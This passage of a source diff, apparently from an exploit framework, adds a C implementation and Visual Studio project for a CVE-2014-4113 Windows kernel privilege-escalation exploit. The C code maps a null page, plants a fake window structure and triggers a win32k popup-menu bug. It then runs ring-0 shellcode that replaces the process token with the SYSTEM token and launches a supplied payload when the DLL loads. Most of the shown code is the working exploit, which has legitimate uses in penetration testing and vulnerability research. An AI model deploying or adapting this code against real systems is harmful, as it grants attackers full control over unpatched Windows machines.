if (UnhookWindowsHook(WH_CALLWNDPROC, hook_callback))
|
||||
{
|
||||
lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)hook_callback_two);
|
||||
}
|
||||
}
|
||||
return CallNextHookEx(0, code, wParam, lParam);
|
||||
}
|
||||
|
||||
LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (msg == 289 && !bWndProcFlag)
|
||||
{
|
||||
bWndProcFlag = TRUE;
|
||||
PostMessageA(hwnd, 256, 40, 0);
|
||||
PostMessageA(hwnd, 256, 39, 0);
|
||||
PostMessageA(hwnd, 513, 0, 0);
|
||||
}
|
||||
return DefWindowProc(hwnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
DWORD_PTR __stdcall get_threadinfo_ptr(void)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
PBYTE pTeb = (PBYTE)__readgsqword(0x30);
|
||||
return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x78));
|
||||
#else
|
||||
PBYTE pTeb = (PBYTE)__readfsdword(0x18);
|
||||
return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x40));
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
// Search the specified data structure for a member with CurrentValue.
|
||||
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
|
||||
{
|
||||
DWORD_PTR dwIndex, dwMask;
|
||||
|
||||
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||
// bits for quick reference counting.
|
||||
#ifdef _M_X64
|
||||
dwMask = ~0xf;
|
||||
#else
|
||||
dwMask = ~7;
|
||||
#endif
|
||||
// dwMask out the reference count.
|
||||
dwCurrentValue &= dwMask;
|
||||
|
||||
// Scan the structure for any occurrence of dwCurrentValue.
|
||||
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
|
||||
{
|
||||
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
|
||||
{
|
||||
// And finally, replace it with NewValue.
|
||||
pdwStructure[dwIndex] = dwNewValue;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Member not found.
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
int _stdcall shellcode_ring0(int one, int two, int three, int four)
|
||||
{
|
||||
void *pMyProcessInfo = NULL;
|
||||
void *pSystemInfo = NULL;
|
||||
PACCESS_TOKEN systemToken;
|
||||
PACCESS_TOKEN targetToken;
|
||||
|
||||
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo);
|
||||
pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
|
||||
|
||||
targetToken = pPsReferencePrimaryToken(pMyProcessInfo);
|
||||
systemToken = pPsReferencePrimaryToken(pSystemInfo);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
find_and_replace_member((PDWORD_PTR)pMyProcessInfo,
|
||||
(DWORD_PTR)targetToken,
|
||||
(DWORD_PTR)systemToken,
|
||||
0x200);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
||||
{
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
void win32k_null_page(LPVOID lpPayload)
|
||||
{
|
||||
WNDCLASSA wndClass;
|
||||
char szNtName[256];
|
||||
PVOID pNtBase;
|
||||
OSVERSIONINFOA versionInfo;
|
||||
|
||||
// Getting Windows version
|
||||
dprintf("[*] Getting Windows version...");
|
||||
memset(&versionInfo, 0, sizeof(OSVERSIONINFOA));
|
||||
versionInfo.dwOSVersionInfoSize = 148;
|
||||
|
||||
if (!GetVersionExA(&versionInfo))
|
||||
{
|
||||
dprintf("[!] Failed to get windows version");
|
||||
return;
|
||||
}
|
||||
|
||||
// Solve symbols
|
||||
dprintf("[*] Solving symbols...");
|
||||
|
||||
HMODULE hNtdll = LoadLibraryA("ntdll");
|
||||
if (hNtdll == NULL)
|
||||
{
|
||||
dprintf("[!] Failed to Load ntdll...");
|
||||
return;
|
||||
}
|
||||
|
||||
lZwQuerySystemInformation pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
|
||||
if (pZwQuerySystemInformation == NULL)
|
||||
{
|
||||
dprintf("[!] Failed to solve ZwQuerySystemInformation");
|
||||
return;
|
||||
}
|
||||
|
||||
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
|
||||
if (pNtAllocateVirtualMemory == NULL)
|
||||
{
|
||||
dprintf("[!] Failed to solve NtAllocateVirtualMemory");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[*] Requesting Kernel loaded modules...");
|
||||
|
||||
ULONG ulSystemInfoBufferSize = 0;
|
||||
pZwQuerySystemInformation(11, &ulSystemInfoBufferSize, 0, &ulSystemInfoBufferSize);
|
||||
if (ulSystemInfoBufferSize == 0)
|
||||
{
|
||||
dprintf("[!] Requesting pZwQuerySystemInformation required length failed");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[*] pZwQuerySystemInformation required length %d", ulSystemInfoBufferSize);
|
||||
|
||||
PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, ulSystemInfoBufferSize);
|
||||
if (pSystemInfoBuffer == NULL)
|
||||
{
|
||||
dprintf("[!] Allocation for SystemInfo failed");
|
||||
return;
|
||||
}
|
||||
|
||||
if (pZwQuerySystemInformation(11, pSystemInfoBuffer, ulSystemInfoBufferSize, &ulSystemInfoBufferSize) != STATUS_SUCCESS)
|
||||
{
|
||||
dprintf("[!] Requesting kernel modules through ZwQuerySystemInformation failed");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[*] Parsing SYSTEM_INFO...");
|
||||
|
||||
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
|
||||
|
||||
dprintf("[*] %d Kernel modules found", smi->ModulesCount);
|
||||
|
||||
memset(szNtName, 0, 256);
|
||||
|
||||
ULONG i = 0;
|
||||
while (i < smi->ModulesCount)
|
||||
{
|
||||
SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i);
|
||||
dprintf("[*] Checking module %s", sm->Name);
|
||||
if (strstr((char *)sm->Name, ".exe"))
|
||||
{
|
||||
char *start = strstr((char *)sm->Name, "nt");
|
||||
if (start != NULL)
|
||||
{
|
||||
pNtBase = sm->ImageBaseAddress;
|
||||
strncpy_s(szNtName, 256, start, _TRUNCATE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
if (szNtName == NULL)
|
||||
{
|
||||
dprintf("[!] nt not found");
|
||||
return;
|
||||
}
|
||||
dprintf("[*] Good! nt found as %s at 0x%08x", szNtName, pNtBase);
|
||||
|
||||
HMODULE hNtKrnl = LoadLibraryA(szNtName);
|
||||
|
||||
dprintf("[*] %s loaded in userspace at: %08x", szNtName, hNtKrnl);
|
||||
|
||||
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(hNtKrnl, "PsLookupProcessByProcessId");
|
||||
|
||||
if (pPsLookupProcessByProcessId == NULL)
|
||||
{
|
||||
dprintf("[!] Failed to solve PsLookupProcessByProcessId");
|
||||
return;
|
||||
}
|
||||
|
||||
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)hNtKrnl));
|
||||
dprintf("[*] pPsLookupProcessByProcessId in kernel: 0x%p", pPsLookupProcessByProcessId);
|
||||
|
||||
|
||||
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(hNtKrnl, "PsReferencePrimaryToken");
|
||||
|
||||
if (pPsReferencePrimaryToken == NULL)
|
||||
{
|
||||
dprintf("[!] Failed to solve PsLookupProcessByProcessId");
|
||||
return;
|
||||
}
|
||||
|
||||
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)hNtKrnl));
|
||||
dprintf("[*] pPsReferencePrimaryToken in kernel: 0x%p", pPsReferencePrimaryToken);
|
||||
|
||||
dwMyProcessId = GetCurrentProcessId();
|
||||
|
||||
// Register Class
|
||||
dprintf("[*] Registering class...");
|
||||
|
||||
memset(&wndClass, 0, sizeof(WNDCLASSA));
|
||||
wndClass.lpfnWndProc = wnd_proc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx
|
||||
wndClass.lpszClassName = "woqunimalegebi";
|
||||
|
||||
if (!RegisterClassA(&wndClass))
|
||||
{
|
||||
dprintf("[!] RegisterClassA failed ");
|
||||
return;
|
||||
}
|
||||
|
||||
// Create Window
|
||||
dprintf("[*] Creating window...");
|
||||
HWND hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hWnd == NULL)
|
||||
{
|
||||
dprintf("[!] CreateWindowExA failed");
|
||||
return;
|
||||
}
|
||||
|
||||
// Making everything ready for exploitation...
|
||||
|
||||
dprintf("[*] Allocating null page...");
|
||||
#ifdef _M_X64
|
||||
ULONGLONG dwBaseAddress = 0x00000000fffffffb;
|
||||
#else
|
||||
DWORD dwBaseAddress = 1;
|
||||
#endif
|
||||
|
||||
SIZE_T sRegionSize = 0x1000;
|
||||
ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
|
||||
|
||||
if (pNtAllocateVirtualMemory(GetCurrentProcess(), (LPVOID*)&dwBaseAddress, 0, &sRegionSize, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
|
||||
{
|
||||
dprintf("[!] Failed to allocate null page");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[*] Getting PtiCurrent...");
|
||||
|
||||
DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr();
|
||||
|
||||
if (dwThreadInfoPtr == 0)
|
||||
{
|
||||
LoadLibrary("user32.dll");
|
||||
LoadLibrary("gdi32.dll");
|
||||
dwThreadInfoPtr = get_threadinfo_ptr();
|
||||
}
|
||||
|
||||
if (dwThreadInfoPtr == 0)
|
||||
{
|
||||
dprintf("[!] Filed to get current thread information");
|
||||
return;
|
||||
}
|
||||
|
||||
dprintf("[*] Good! dwThreadInfoPtr 0x%p", dwThreadInfoPtr);
|
||||
dprintf("[*] Creating a fake structure at NULL...");
|
||||
|
||||
LPVOID lpPtr = NULL;
|
||||
#ifdef _M_X64
|
||||
(DWORD_PTR)lpPtr = 0x10000000B;
|
||||
*((PDWORD_PTR)lpPtr) = dwThreadInfoPtr;
|
||||
|
||||
/* win32k!tagWND->bServerSideWindowProc = TRUE */
|
||||
(DWORD_PTR)lpPtr = 0x100000025;
|
||||
*((PBYTE)lpPtr) = 4;
|
||||
|
||||
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
|
||||
(DWORD_PTR)lpPtr = 0x10000008B;
|
||||
*((PDWORD_PTR)lpPtr) = (DWORD_PTR)shellcode_ring0;
|
||||
#else
|
||||
LPBYTE lpPromisedLand = NULL;
|
||||
lpPtr = lpPromisedLand + 3;
|
||||
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
|
||||
.text:BF8B93F4 02C mov edi, _gptiCurrent
|
||||
.text:BF8B93FA 02C cmp edi, [esi + 8];
|
||||
.text:BF8B93FD 02C jz loc_BF8B
|
||||
*/
|
||||
*(LPDWORD)lpPtr = dwThreadInfoPtr;
|
||||
|
||||
*((LPBYTE)(lpPromisedLand + 0x11)) = 0x4;
|
||||
|
||||
lpPtr = lpPromisedLand + 0x5b;
|
||||
*(LPDWORD)lpPtr = (DWORD)shellcode_ring0;
|
||||
#endif
|
||||
|
||||
// Exploit!
|
||||
|
||||
dprintf("[*] Triggering vulnerability...");
|
||||
HMENU hMenuOne = CreatePopupMenu();
|
||||
if (hMenuOne == NULL)
|
||||
{
|
||||
dprintf("[!] First CreatePopupMenu failed");
|
||||
return;
|
||||
}
|
||||
|
||||
MENUITEMINFOA menuOneInfo;
|
||||
memset(&menuOneInfo, 0, sizeof(MENUITEMINFOA));
|
||||
menuOneInfo.cbSize = sizeof(MENUITEMINFOA);
|
||||
menuOneInfo.fMask = MIIM_STRING;
|
||||
|
||||
if (InsertMenuItemA(hMenuOne, 0, TRUE, &menuOneInfo) != TRUE)
|
||||
{
|
||||
dprintf("[!] First InsertMenuItemA failed");
|
||||
DestroyMenu(hMenuOne);
|
||||
return;
|
||||
}
|
||||
|
||||
HMENU hMenuTwo = CreatePopupMenu();
|
||||
if (hMenuTwo == NULL)
|
||||
{
|
||||
dprintf("[!] Second CreatePopupMenu failed");
|
||||
DestroyMenu(hMenuOne);
|
||||
return;
|
||||
}
|
||||
|
||||
MENUITEMINFOA menuTwoInfo;
|
||||
memset(&menuTwoInfo, 0, sizeof(MENUITEMINFOA));
|
||||
menuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
|
||||
menuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
|
||||
menuTwoInfo.dwTypeData = "";
|
||||
menuTwoInfo.cch = 1;
|
||||
menuTwoInfo.hSubMenu = hMenuOne;
|
||||
|
||||
if (InsertMenuItemA(hMenuTwo, 0, TRUE, &menuTwoInfo) != TRUE)
|
||||
{
|
||||
dprintf("[!] Second InsertMenuItemA failed");
|
||||
DestroyMenu(hMenuTwo);
|
||||
DestroyMenu(hMenuOne);
|
||||
return;
|
||||
}
|
||||
|
||||
if (SetWindowsHookExA(WH_CALLWNDPROC, hook_callback, NULL, GetCurrentThreadId()) == NULL)
|
||||
{
|
||||
dprintf("[!] SetWindowsHookExA failed :-(");
|
||||
DestroyMenu(hMenuTwo);
|
||||
DestroyMenu(hMenuOne);
|
||||
return;
|
||||
}
|
||||
|
||||
// 'crash' it!
|
||||
TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
|
||||
|
||||
// If everything worked process should be privileges at this point
|
||||
dprintf("[!] Executing payload...");
|
||||
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
win32k_null_page(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
242
external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj
vendored
Executable file
242
external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.vcxproj
vendored
Executable file
|
@ -0,0 +1,242 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{E80F11CD-6698-492F-B4B0-1A2348A24BB0}</ProjectGuid>
|
||||
<RootNamespace>cve-2014-4113</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules />
|
||||
<CodeAnalysisRuleAssemblies />
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
exit 0</Command>
|
||||
</PostBuildEvent>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
exit 0</Command>
|
||||
</PostBuildEvent>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\cve-2014-4113.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\cve-2014-4113.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\cve-2014-4113.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\cve-2014-4113.lib</ImportLibrary>
|
||||
<Profile>false</Profile>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
|
||||
:COPY
|
||||
